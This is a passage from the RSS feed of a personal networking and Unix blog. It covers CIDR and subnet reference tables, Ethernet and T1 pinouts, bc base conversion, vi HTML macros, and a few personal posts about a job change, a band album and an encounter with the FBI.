11111111.11111111.11111111.00000000 /24 &amp;#34;Class C&amp;#34; 254 useable&#xA;&#xA;&#xA;&#xA;Netmask 255.255.255.0 /24 (11111111.11111111.11111111.00000000)&#xA;1 subnet&#xA;LOW IP       HI IP&#xA;x.x.x.0      x.x.x.255&#xA;&#xA;Netmask 255.255.255.128 /25 (11111111.11111111.11111111.10000000)&#xA;2 subnets&#xA;LOW IP       HI IP&#xA;x.x.x.0      x.x.x.127&#xA;x.x.x.128    x.x.x.255&#xA;&#xA;Netmask 255.255.255.192 /26 (11111111.11111111.11111111.11000000)&#xA;4 subnets&#xA;x.x.x.0      x.x.x.63&#xA;x.x.x.64     x.x.x.127&#xA;x.x.x.128    x.x.x.191&#xA;x.x.x.192    x.x.x.255&#xA;&#xA;Netmask 255.255.255.224 /27 (11111111.11111111.11111111.11100000)&#xA;8 subnets&#xA;x.x.x.0      x.x.x.31&#xA;x.x.x.32     x.x.x.63&#xA;x.x.x.64     x.x.x.95&#xA;x.x.x.96     x.x.x.127&#xA;x.x.x.128    x.x.x.159&#xA;x.x.x.160    x.x.x.191&#xA;x.x.x.192    x.x.x.223&#xA;x.x.x.224    x.x.x.255&#xA;&#xA;Netmask 255.255.255.240 /28 (11111111.11111111.11111111.11110000)&#xA;16 subnets&#xA;x.x.x.0      x.x.x.15&#xA;x.x.x.16     x.x.x.31&#xA;x.x.x.32     x.x.x.47&#xA;x.x.x.48     x.x.x.63&#xA;x.x.x.64     x.x.x.79&#xA;x.x.x.80     x.x.x.95&#xA;x.x.x.96     x.x.x.111&#xA;x.x.x.112    x.x.x.127&#xA;x.x.x.128    x.x.x.143&#xA;x.x.x.144    x.x.x.159&#xA;x.x.x.160    x.x.x.175&#xA;x.x.x.176    x.x.x.191&#xA;x.x.x.192    x.x.x.207&#xA;x.x.x.208    x.x.x.223&#xA;x.x.x.224    x.x.x.239&#xA;x.x.x.240    x.x.x.255&#xA;&#xA;Netmask 255.255.255.248 /29 (11111111.11111111.11111111.11111000)&#xA;32 subnets&#xA;x.x.x.0      x.x.x.7&#xA;x.x.x.8      x.x.x.15&#xA;x.x.x.16     x.x.x.23&#xA;x.x.x.24     x.x.x.31&#xA;x.x.x.32     x.x.x.39&#xA;x.x.x.40     x.x.x.47&#xA;x.x.x.48     x.x.x.55&#xA;x.x.x.56     x.x.x.63&#xA;x.x.x.64     x.x.x.71&#xA;x.x.x.72     x.x.x.79&#xA;x.x.x.80     x.x.x.87&#xA;x.x.x.88     x.x.x.95&#xA;x.x.x.96     x.x.x.103&#xA;x.x.x.104    x.x.x.111&#xA;x.x.x.112    x.x.x.119&#xA;x.x.x.120    x.x.x.127&#xA;x.x.x.128    x.x.x.135&#xA;x.x.x.136    x.x.x.143&#xA;x.x.x.144    x.x.x.151&#xA;x.x.x.152    x.x.x.159&#xA;x.x.x.160    x.x.x.167&#xA;x.x.x.168    x.x.x.175&#xA;x.x.x.176    x.x.x.183&#xA;x.x.x.184    x.x.x.191&#xA;x.x.x.192    x.x.x.199&#xA;x.x.x.200    x.x.x.207&#xA;x.x.x.208    x.x.x.215&#xA;x.x.x.216    x.x.x.223&#xA;x.x.x.224    x.x.x.231&#xA;x.x.x.232    x.x.x.239&#xA;x.x.x.240    x.x.x.247&#xA;x.x.x.248    x.x.x.255&#xA;&#xA;Netmask 255.255.255.252 /30 (11111111.11111111.11111111.11111100)&#xA;64 subnets&#xA;LOW IP       HI IP&#xA;x.x.x.0      x.x.x.3&#xA;x.x.x.4      x.x.x.7&#xA;x.x.x.8      x.x.x.11&#xA;x.x.x.12     x.x.x.15&#xA;x.x.x.16     x.x.x.19&#xA;x.x.x.20     x.x.x.23&#xA;x.x.x.24     x.x.x.27&#xA;x.x.x.28     x.x.x.31&#xA;x.x.x.32     x.x.x.35&#xA;x.x.x.36     x.x.x.39&#xA;x.x.x.40     x.x.x.43&#xA;x.x.x.44     x.x.x.47&#xA;x.x.x.48     x.x.x.51&#xA;x.x.x.52     x.x.x.55&#xA;x.x.x.56     x.x.x.59&#xA;x.x.x.60     x.x.x.63&#xA;x.x.x.64     x.x.x.67&#xA;x.x.x.68     x.x.x.71&#xA;x.x.x.72     x.x.x.75&#xA;x.x.x.76     x.x.x.79&#xA;x.x.x.80     x.x.x.83&#xA;x.x.x.84     x.x.x.87&#xA;x.x.x.88     x.x.x.91&#xA;x.x.x.92     x.x.x.95&#xA;x.x.x.96     x.x.x.99&#xA;x.x.x.100    x.x.x.103&#xA;x.x.x.104    x.x.x.107&#xA;x.x.x.108    x.x.x.111&#xA;x.x.x.112    x.x.x.115&#xA;x.x.x.116    x.x.x.119&#xA;x.x.x.120    x.x.x.123&#xA;x.x.x.124    x.x.x.127&#xA;x.x.x.128    x.x.x.131&#xA;x.x.x.132    x.x.x.135&#xA;x.x.x.136    x.x.x.139&#xA;x.x.x.140    x.x.x.143&#xA;x.x.x.144    x.x.x.147&#xA;x.x.x.148    x.x.x.151&#xA;x.x.x.152    x.x.x.155&#xA;x.x.x.156    x.x.x.159&#xA;x.x.x.160    x.x.x.163&#xA;x.x.x.164    x.x.x.167&#xA;x.x.x.168    x.x.x.171&#xA;x.x.x.172    x.x.x.175&#xA;x.x.x.176    x.x.x.179&#xA;x.x.x.180    x.x.x.183&#xA;x.x.x.184    x.x.x.187&#xA;x.x.x.188    x.x.x.191&#xA;x.x.x.192    x.x.x.195&#xA;x.x.x.196    x.x.x.199&#xA;x.x.x.200    x.x.x.203&#xA;x.x.x.204    x.x.x.207&#xA;x.x.x.208    x.x.x.211&#xA;x.x.x.212    x.x.x.215&#xA;x.x.x.216    x.x.x.219&#xA;x.x.x.220    x.x.x.223&#xA;x.x.x.224    x.x.x.227&#xA;x.x.x.228    x.x.x.231&#xA;x.x.x.232    x.x.x.235&#xA;x.x.x.236    x.x.x.239&#xA;x.x.x.240    x.x.x.243&#xA;x.x.x.244    x.x.x.247&#xA;x.x.x.248    x.x.x.251&#xA;x.x.x.252    x.x.x.255&#xA;&#xA;net mask:&#xA;&#xA;1111 11 00 == 252&#xA;&#xA;Pozar&amp;#39;s two-bit(tm) addressing&#xA;&#xA;4-bit  m m m m&#xA;2-bit  m m&#xA;(.1)   0 0 0 0  0 0 0 1           (.2) 0 0 0 0  0 0 1 0&#xA;(.17)  0 0 0 1  0 0 0 1          (.18) 0 0 0 1  0 0 1 0&#xA;(.33)  0 0 1 0  0 0 0 1          (.34) 0 0 1 0  0 0 1 0&#xA;(.49)  0 0 1 1  0 0 0 1          (.50) 0 0 1 1  0 0 1 0&#xA;(.65)  0 1 0 0  0 0 0 1          (.66) 0 1 0 0  0 0 1 0&#xA;(.129) 1 0 0 0  0 0 0 1         (.130) 1 0 0 0  0 0 1 0&#xA;(.193) 1 1 0 0  0 0 0 1         (.194) 1 1 0 0  0 0 1 0&#xA;(.225) 1 1 1 0  0 0 0 1         (.226) 1 1 1 0  0 0 1 0&#xA;&#xA;&#xA;&#xA;CIDR:  Classless Inter-Domain Routing -- Standard Boundaries&#xA;&#xA;                                        (inverse mask)&#xA;Netmask         bits # IPs      # C&amp;#39;s   source-wildcard&#xA;&#xA;255.255.255.255 /32  1          &amp;lt;        0.0.0.0&#xA;255.255.255.254 /31  2          &amp;lt;        0.0.0.1&#xA;255.255.255.252 /30  4          &amp;lt;        0.0.0.3&#xA;255.255.255.248 /29  8          &amp;lt;        0.0.0.7&#xA;255.255.255.240 /28  16         &amp;lt;        0.0.0.15&#xA;255.255.255.224 /27  32         &amp;lt;        0.0.0.31&#xA;255.255.255.192 /26  64         &amp;lt;        0.0.0.63&#xA;255.255.255.128 /25  128        &amp;lt;        0.0.0.127&#xA;255.255.255.0   /24  256        1        0.0.0.255&#xA;255.255.254.0   /23  512        2        0.0.1.255&#xA;255.255.252.0   /22  1024       4        0.0.3.255&#xA;255.255.248.0   /21  2048       8        0.0.7.255&#xA;255.255.240.0   /20  4096       16       0.0.15.255&#xA;255.255.224.0   /19  8192       32       0.0.31.255&#xA;255.255.192.0   /18  16384      64       0.0.63.255&#xA;255.255.128.0   /17  32768      128      0.0.127.255&#xA;255.255.0.0     /16  65536      256      0.0.255.255&#xA;255.254.0.0     /15  131072     512      0.1.255.255&#xA;255.252.0.0     /14  262144     1024     0.3.255.255&#xA;255.248.0.0     /13  524288     2048     0.7.255.255&#xA;255.240.0.0     /12  1048576    4096     0.15.255.255&#xA;255.224.0.0     /11  2097152    8192     0.31.255.255&#xA;255.192.0.0     /10  4194304    16384    0.63.255.255&#xA;255.128.0.0     /9   8388608    32768    0.127.255.255&#xA;255.0.0.0       /8   16777216   65536    0.255.255.255&#xA;254.0.0.0       /7   33554432   131072   1.255.255.255&#xA;252.0.0.0       /6   67108864   262144   3.255.255.255&#xA;248.0.0.0       /5   134217.72K 524288   7.255.255.255&#xA;240.0.0.0       /4   268435.44K 1048576  15.255.255.255&#xA;224.0.0.0       /3   536870.88K 2097152  31.255.255.255&#xA;192.0.0.0       /2   1073741.7K 4194304  63.255.255.255&#xA;128.0.0.0       /1   2147483.4K 8388608  127.255.255.255&#xA;0.0.0.0         /0   4294966.8K 16777216 255.255.255.255&#xA;&#xA;----------&#xA;&#xA;Here&amp;#39;s some general rules about how this allocation works.  Keep in mind that&#xA;all of these &amp;#34;masks&amp;#34; are really based on binary AND/OR masking, thus a&#xA;decimal &amp;#34;255&amp;#34; is binary 11111111 and a decimal &amp;#34;0&amp;#34; is binary &amp;#34;00000000&amp;#34;.&#xA;Here&amp;#39;s a little table in binary which may be of help:&#xA;&#xA;255.255.255.255 /32  11111111.11111111.11111111.11111111&#xA;255.255.255.254 /31  11111111.11111111.11111111.11111110&#xA;255.255.255.252 /30  11111111.11111111.11111111.11111100&#xA;255.255.255.248 /29  11111111.11111111.11111111.11111000&#xA;255.255.255.240 /28  11111111.11111111.11111111.11110000&#xA;255.255.255.224 /27  11111111.11111111.11111111.11100000&#xA;255.255.255.192 /26  11111111.11111111.11111111.11000000&#xA;255.255.255.128 /25  11111111.11111111.11111111.10000000&#xA;255.255.255.0   /24  11111111.11111111.11111111.00000000&#xA;255.255.254.0   /23  11111111.11111111.11111110.00000000&#xA;255.255.252.0   /22  11111111.11111111.11111100.00000000&#xA;255.255.248.0   /21  11111111.11111111.11111000.00000000&#xA;255.255.240.0   /20  11111111.11111111.11110000.00000000&#xA;255.255.224.0   /19  11111111.11111111.11100000.00000000&#xA;255.255.192.0   /18  11111111.11111111.11000000.00000000&#xA;255.255.128.0   /17  11111111.11111111.10000000.00000000&#xA;255.255.0.0     /16  11111111.11111111.00000000.00000000&#xA;... etc ...&#xA;&#xA;A /32 is an allocation of   1 IP,   and there is 256 /32&amp;#39;s in a /24.&#xA;A /31 is an allocation of   2 IP&amp;#39;s, and there is 128 /31&amp;#39;s in a /24.&#xA;A /30 is an allocation of   4 IP&amp;#39;s, and there is  64 /30&amp;#39;s in a /24.&#xA;A /29 is an allocation of   8 IP&amp;#39;s, and there is  32 /29&amp;#39;s in a /24.&#xA;A /28 is an allocation of  16 IP&amp;#39;s, and there is  16 /28&amp;#39;s in a /24.&#xA;A /27 is an allocation of  32 IP&amp;#39;s, and there is   8 /27&amp;#39;s in a /24.&#xA;A /26 is an allocation of  64 IP&amp;#39;s, and there is   4 /26&amp;#39;s in a /24.&#xA;A /25 is an allocation of 128 IP&amp;#39;s, and there is   2 /25&amp;#39;s in a /24.&#xA;A /24 is an allocation of 256 IP&amp;#39;s, and there is   1 /24   in a /24.&#xA;&#xA;----------&#xA;&#xA;Starting &amp;#34;Network&amp;#34; IP address of Subnetted /24&amp;#39;s (last octet value):&#xA;        NOTE:  *0 - Zero subnet may not functional on ALL CPE types&#xA;&#xA;/32:    Any IP is an individual /32.&#xA;/31:    IP evenly divisible by 2. (e.g. *0,2,4,6,8,10,12,14,16,18 ... 252,254)&#xA;/30:    IP evenly divisible by 4. (e.g. *0,4,8,12,16,20,24,28,32, ... 248,252)&#xA;/29:    IP evenly divisible by 8. (e.g. *0,8,16,24,32,40,48,56,64, ... 240,248)&#xA;/28:    IP evenly divisible by 16. (e.g. *0,16,32,48,64,80,96,112, ... 224,240)&#xA;/27:    IP evenly divisible by 32. (e.g. *0,32,64,96,128,160,192,224)&#xA;/26:    IP evenly divisible by 64. (e.g. *0,64,128,192)&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Slow Down</title>
      <link>https://jasonmurray.org/posts/2020/slowdown/</link>
      <pubDate>Tue, 30 May 2017 07:50:18 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/slowdown/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;“Life moves pretty fast. If you don’t stop and look around once in a while, you could miss it.” — Ferris Bueller&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;There is a never-ending dialogue of information swirling around within my head; the next idea, the next task, the next big project, the next lesson learned to be put into practice. The list of things that demand some amount of attention never seems to end. Finding the time to focus on a single task seemed like an arduous battle that could not be overcome, until I realized that I need to do one simple thing, “slow down.” In hindsight, this seems both obvious and simple, but for me it was neither. It took a long time of self-reflection and critical feedback, to realize there was a problem. I could no longer sustain the multi-tasking, context switching, never-ending-list lifestyle.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Quiting XO Communications to work at WashU</title>
      <link>https://jasonmurray.org/posts/2005/wustljob/</link>
      <pubDate>Tue, 06 Dec 2005 15:48:59 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2005/wustljob/</guid>
      <description>&lt;p&gt;I quit XO Communications to take this job:&lt;/p&gt;&#xA;&lt;p&gt;Job Title: NETWORK SYSTEMS ENGINEER (UNIX)&#xA;Reference Code: 060099&lt;/p&gt;&#xA;&lt;p&gt;Job Type (FT/PT): FULL TIME&lt;/p&gt;&#xA;&lt;p&gt;Department: NETWORK TECHNOLOGY SERVICES&lt;/p&gt;&#xA;&lt;p&gt;Minimum of Monthly Salary Range: Compensation will be commensurate&#xA;with experience.&lt;/p&gt;&#xA;&lt;p&gt;Midpoint of Monthly Salary Range: Compensation will be commensurate&#xA;with experience.&lt;/p&gt;&#xA;&lt;p&gt;Requirements: MUST HAVE A BACHELOR&amp;rsquo;S DEGREE IN COMPUTER SCIENCE OR A&#xA;RELATED FIELD. MUST HAVE 5 YEARS EXPERIENCE IN SYSTEMS ADMINISTRATION&#xA;AND DESIGN, AND ADVANCED UNDERSTANDING OF UNIX AND LINUX. STRONG&#xA;PROBLEM SKILLS AND PROJECT MANAGEMENT SKILLS IS REQUIRED. DEMONSTRATED&#xA;INTERPERSONAL, COMMUNICATION AND ORGANIZATIONAL SKILLS AND ABILITY AND&#xA;WILLINGNESS TO MULTI-TASK AND PERFORM VARIED DUTIES IN A SHORT SPAN&#xA;OF TIME IS REQUIRED. MASTER&amp;rsquo;S DEGREE IN COMPUTER SCIENCE OR RELATED&#xA;FIELD OR EQUIVALENT EXPERIENCE IS PREFERRED. MODERATE MICROSOFT WINDOWS&#xA;SERVER PLATFORMS EXPERIENCE, EXPERIENCE CONFIGURING AND ADMINISTERING&#xA;HP OPENVIEW, AND EXPERIENCE WITH SAN TECHNOLOGIES IS PREFERRED.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Jokers Crossing</title>
      <link>https://jasonmurray.org/posts/2005/jc/</link>
      <pubDate>Sun, 27 Nov 2005 15:36:16 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2005/jc/</guid>
      <description>&lt;h3 id=&#34;jokers-crossing---adam&#34;&gt;Jokers Crossing - ADAM&lt;/h3&gt;&#xA;&lt;p&gt;In 1995 Matt Hill and Jason Murray recorded their first album.&lt;/p&gt;&#xA;&lt;p&gt;The bass and drum tracks were layed down in Jason&#39;s barn on a Tascam 4&#xA;track. Vocal, guitars, and some percussion was layed down at Whitehead&#xA;Studios.&lt;/p&gt;&#xA;&lt;p&gt;The quality of the bass and drum tracks from the analog 4 track brought&#xA;down the whole tape. In 2005 Jason remastered the entire album. Using&#xA;&lt;a href=&#34;http://ubuntulinux.org/&#34;&gt;Ubuntu Linux&lt;/a&gt;,&#xA;&lt;a href=&#34;http://audacity.sourceforge.net/&#34;&gt;Audacity&lt;/a&gt;, a portable walkman, and a&#xA;$5 cable from &lt;a href=&#34;http://www.radioshack.com/&#34;&gt;Radio Shack&lt;/a&gt;. The analog&#xA;tape was converted to digital and the audio quality was cleaned up a&#xA;bit. However, the audio is low and washed out. There is little to no&#xA;high-end and the bass and lows tend to clip. I am no sound engineer, it&#xA;is the best I can do with little experience. At least the tape hiss is&#xA;gone!&lt;/p&gt;</description>
    </item>
    <item>
      <title>Cameras, The New Weapon of Mass Destruction</title>
      <link>https://jasonmurray.org/posts/2004/terrorist/</link>
      <pubDate>Tue, 24 Aug 2004 17:57:34 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2004/terrorist/</guid>
      <description>&lt;p&gt;Here is my story of how I was &amp;lsquo;detained&amp;rsquo; and &amp;lsquo;interrogated&amp;rsquo; as a possible terrorist suspect by the FBI counterterrorism division of Chicago, IL.&lt;/p&gt;&#xA;&lt;p&gt;It was a normal day heading to work in Chicago, IL this Tuesday morning 8/24/2004. It was my last day working in Downtown Chicago. I will be moving to Missouri this weekend. I took the same Metra train that I have for the past 4 years, the 7:17 AM leaving the route 59 station arriving in Downtown Chicago Union Station at 8:00 AM. I brought my camera with me today to take pictures on my last day downtown. When I arrived at Union Station I took a picture of the train car that I sit in, trains, rails, train station, etc. On the way out of union station, I took pictures of all the people walking around the area, a homeless guy asking for money, and various other things on my walk to the office.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Ethernet, T1, E1 pinouts</title>
      <link>https://jasonmurray.org/posts/2004/pinout/</link>
      <pubDate>Mon, 07 Jun 2004 19:40:44 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2004/pinout/</guid>
      <description>&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Standard Ethernet (568B)&#xA;------------------------&#xA;1 WhiteOrange &#x9;&amp;lt;-&amp;gt;&#x9;WhiteOrange&#xA;2 Orange&#x9;&amp;lt;-&amp;gt;&#x9;Orange&#xA;3 WhiteGreen&#x9;&amp;lt;-&amp;gt;&#x9;WhiteGreen&#xA;4 Blue&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Blue&#xA;5 WhiteBlue&#x9;&amp;lt;-&amp;gt;&#x9;WhiteBlue&#xA;6 Green&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Green&#xA;7 WhiteBrown&#x9;&amp;lt;-&amp;gt;&#x9;WhiteBrown&#xA;8 Brown&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Brown&#xA;&#xA;Standard Ethernet (568B) Cross-Over&#xA;-----------------------------------&#xA;1 WhiteOrange &#x9;&amp;lt;-&amp;gt;&#x9;WhiteGreen&#xA;2 Orange&#x9;&amp;lt;-&amp;gt;&#x9;Green&#xA;3 WhiteGreen&#x9;&amp;lt;-&amp;gt;&#x9;WhiteOrange&#xA;4 Blue&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Blue&#xA;5 WhiteBlue&#x9;&amp;lt;-&amp;gt;&#x9;WhiteBlue&#xA;6 Green&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Orange&#xA;7 WhiteBrown&#x9;&amp;lt;-&amp;gt;&#x9;WhiteBrown&#xA;8 Brown&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Brown&#xA;&#xA;Standard Ethernet (568A)&#xA;------------------------&#xA;1 WhiteGreen&#x9;&amp;lt;-&amp;gt;&#x9;WhiteGreen&#xA;2 Green&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Green&#xA;3 WhiteOrange &#x9;&amp;lt;-&amp;gt;&#x9;WhiteOrange&#xA;4 Blue&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Blue&#xA;5 WhiteBlue&#x9;&amp;lt;-&amp;gt;&#x9;WhiteBlue&#xA;6 Orange&#x9;&amp;lt;-&amp;gt;&#x9;Orange&#xA;7 WhiteBrown&#x9;&amp;lt;-&amp;gt;&#x9;WhiteBrown&#xA;8 Brown&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Brown&#xA;&#xA;Standard Ethernet (568A) Cross-Over&#xA;-----------------------------------&#xA;1 WhiteGreen&#x9;&amp;lt;-&amp;gt;&#x9;WhiteOrange&#xA;2 Green&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Orange&#xA;3 WhiteOrange &#x9;&amp;lt;-&amp;gt;&#x9;WhiteGreen&#xA;4 Blue&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Blue&#xA;5 WhiteBlue&#x9;&amp;lt;-&amp;gt;&#x9;WhiteBlue&#xA;6 Orange&#x9;&amp;lt;-&amp;gt;&#x9;Green&#xA;7 WhiteBrown&#x9;&amp;lt;-&amp;gt;&#x9;WhiteBrown&#xA;8 Brown&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Brown&#xA;&#xA;T1/E1 Cross-Over&#xA;----------------&#xA;1 WhiteOrange &#x9;&amp;lt;-&amp;gt;&#x9;Blue&#xA;2 Orange&#x9;&amp;lt;-&amp;gt;&#x9;WhiteBlue&#xA;3 WhiteGreen&#x9;&amp;lt;-&amp;gt;&#x9;WhiteGreen&#xA;4 Blue&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;White Orange&#xA;5 WhiteBlue&#x9;&amp;lt;-&amp;gt;&#x9;Orange&#xA;6 Green&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Green&#xA;7 WhiteBrown&#x9;&amp;lt;-&amp;gt;&#x9;WhiteBrown&#xA;8 Brown&#x9;&#x9;&amp;lt;-&amp;gt;&#x9;Brown&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>My history with technology</title>
      <link>https://jasonmurray.org/posts/2004/jasoncomputerhistory/</link>
      <pubDate>Tue, 17 Feb 2004 17:08:06 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2004/jasoncomputerhistory/</guid>
      <description>&lt;p&gt;In the early 1980s I started with my uncles computer, an &lt;a href=&#34;http://www.apple-history.com/frames/body.php?page=gallery&amp;amp;model=aIIplus&#34;&gt;Apple&#xA;][+&lt;/a&gt;.&#xA;This is where I first started to &lt;a href=&#34;http://www.skepticfiles.org/cowtext/apple/memorytx.htm&#34;&gt;peek and&#xA;poke&lt;/a&gt; my way&#xA;around the Apple Basic programming language. I was only around 5 or 6 at&#xA;the time.&lt;/p&gt;&#xA;&lt;p&gt;Then around 1984 my dad bought a Tandy TRS-80 &amp;quot;portable&amp;quot; computer with&#xA;a 40x25 LCD display. This system had a built in 300bps modem that was&#xA;used to transmit orders from my dads company to the warehouse. This is&#xA;when I was first introduced to dial up BBSs, and the beginning of my&#xA;&amp;quot;online career&amp;quot;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Base conversion with bc</title>
      <link>https://jasonmurray.org/posts/2003/bcbase/</link>
      <pubDate>Sat, 15 Nov 2003 19:38:26 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2003/bcbase/</guid>
      <description>&lt;p&gt;Base Conversion with &lt;code&gt;bc&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@remington:~$ bc&#xA;bc 1.06&#xA;Copyright 1991-1994, 1997, 1998, 2000 Free Software Foundation, Inc.&#xA;This is free software with ABSOLUTELY NO WARRANTY.&#xA;For details type `warranty&amp;#39;. &#xA;obase=10&#xA;ibase=16&#xA;&#xA;C0A8&#xA;&#xA;49320&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>HTML Macros for vi</title>
      <link>https://jasonmurray.org/posts/2003/vihtmlmacros/</link>
      <pubDate>Mon, 08 Sep 2003 19:06:37 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2003/vihtmlmacros/</guid>
      <description>&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;#34; HTML Macros&#xA;&amp;#34;&#xA;&amp;#34;&#x9;These are bar far the best set of VI HTML &#xA;&amp;#34;&#x9;macros that I have used.  To my knowledge&#xA;&amp;#34;&#x9;there is no more of an extensive list as this.&#xA;&amp;#34;&#x9;&#xA;&amp;#34;&#x9;However Doug Renze who created them does not seem&#xA;&amp;#34;&#x9;to exist anymore.  I can&amp;#39;t located him to see if&#xA;&amp;#34;&#x9;he has updated them or anything, so I will leave&#xA;&amp;#34;&#x9;his cudos here, and mirror these macros on my site.&#xA;&amp;#34;&#xA;&amp;#34;&#x9;Doug Renze&#xA;&amp;#34;&#x9;http://www.avalon.net/~drenze/&#xA;&amp;#34;&#x9;mailto:drenze@avalon.net&#xA;&amp;#34;&#xA;&amp;#34;&#x9;Typically you will put this file into your&#xA;&amp;#34;&#x9;home directory like so: ~/.exrc&#xA;&amp;#34;&#xA;&amp;#34;&#x9;Current location:&#xA;&amp;#34;&#x9;https://jasonmurray.org/&#xA;&amp;#34;&#xA;&amp;#34;&#xA;&amp;#34; General Markup Tags&#xA;&amp;#34;&#xA;&amp;#34;&#x9;Comment Tag&#xA;map! ;cm &amp;lt;!--  --&amp;gt;Bhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;A HREF&#x9;Anchor Hyperlink&#x9;HTML 2.0&#xA;map! ;ah &amp;lt;A HREF=&amp;#34;&amp;#34;&amp;gt;&amp;lt;/A&amp;gt;?&amp;#34;&#xA;i&#xA;&amp;#34;&#xA;&amp;#34;&#x9;A NAME&#x9;Named Anchor&#x9;&#x9;HTML 2.0&#xA;map! ;an &amp;lt;A NAME=&amp;#34;&amp;#34;&amp;gt;&amp;lt;/A&amp;gt;?&amp;#34;&#xA;i&#xA;&amp;#34;&#xA;&amp;#34;&#x9;ABBREV&#x9;Abbreviation&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;ab &amp;lt;ABBREV&amp;gt;&amp;lt;/ABBREV&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;ACRONYM&#x9;&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;ac &amp;lt;ACRONYM&amp;gt;&amp;lt;/ACRONYM&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;ADDRESS&#x9;&#x9;&#x9;&#x9;HTML 2.0&#xA;map! ;ad &amp;lt;ADDRESS&amp;gt;&amp;lt;/ADDRESS&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;AU&#x9;Author&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;au &amp;lt;AU&amp;gt;&amp;lt;/AU&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;B&#x9;Boldfaced Text&#x9;&#x9;HTML 2.0&#xA;&amp;#34;map! ;bo &amp;lt;B&amp;gt;&amp;lt;/B&amp;gt;hhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;BANNER&#x9;&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;ba &amp;lt;BANNER&amp;gt;&amp;lt;/BANNER&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;BASE&#x9;&#x9;&#x9;&#x9;HTML 2.0&#x9;HEADER&#xA;map! ;bh &amp;lt;BASE HREF=&amp;#34;&amp;#34;&amp;gt;hi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;BASEFONT&#x9;&#x9;&#x9;NETSCAPE&#xA;&amp;#34;map! ;bf &amp;lt;BASEFONT SIZE=&amp;gt;i&#xA;&amp;#34;&#xA;&amp;#34;&#x9;BIG&#x9;&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;bi &amp;lt;BIG&amp;gt;&amp;lt;/BIG&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;BLOCKQUOTE&#x9;&#x9;&#x9;HTML 2.0&#xA;map! ;bl &amp;lt;BLOCKQUOTE&amp;gt;&#xA;&amp;lt;/BLOCKQUOTE&amp;gt;O&#xA;&amp;#34;&#xA;&amp;#34;&#x9;BODY&#x9;&#x9;&#x9;&#x9;HTML 2.0&#xA;map! ;bd &amp;lt;BODY&amp;gt;&#xA;&amp;lt;/BODY&amp;gt;O&#xA;&amp;#34;&#xA;&amp;#34;&#x9;BQ&#x9;Blockquote&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;bq &amp;lt;BQ&amp;gt;&amp;lt;/BQ&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;BR&#x9;Line break&#x9;&#x9;HTML 2.0&#xA;map! ;br &amp;lt;BR&amp;gt;&#xA;&amp;#34;&#xA;&amp;#34;&#x9;CAPTION&#x9;&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;ca &amp;lt;CAPTION&amp;gt;&amp;lt;/CAPTION&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;CENTER&#x9;&#x9;&#x9;&#x9;NETSCAPE&#xA;map! ;ce &amp;lt;CENTER&amp;gt;&amp;lt;/CENTER&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;CITE&#x9;&#x9;&#x9;&#x9;HTML 2.0&#xA;map! ;ci &amp;lt;CITE&amp;gt;&amp;lt;/CITE&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;CODE&#x9;&#x9;&#x9;&#x9;HTML 2.0&#xA;map! ;co &amp;lt;CODE&amp;gt;&amp;lt;/CODE&amp;gt;bhhi&#xA;&amp;#34;&#xA;&amp;#34;&#x9;CREDIT&#x9;&#x9;&#x9;&#x9;HTML 3.0&#xA;&amp;#34;map! ;cr 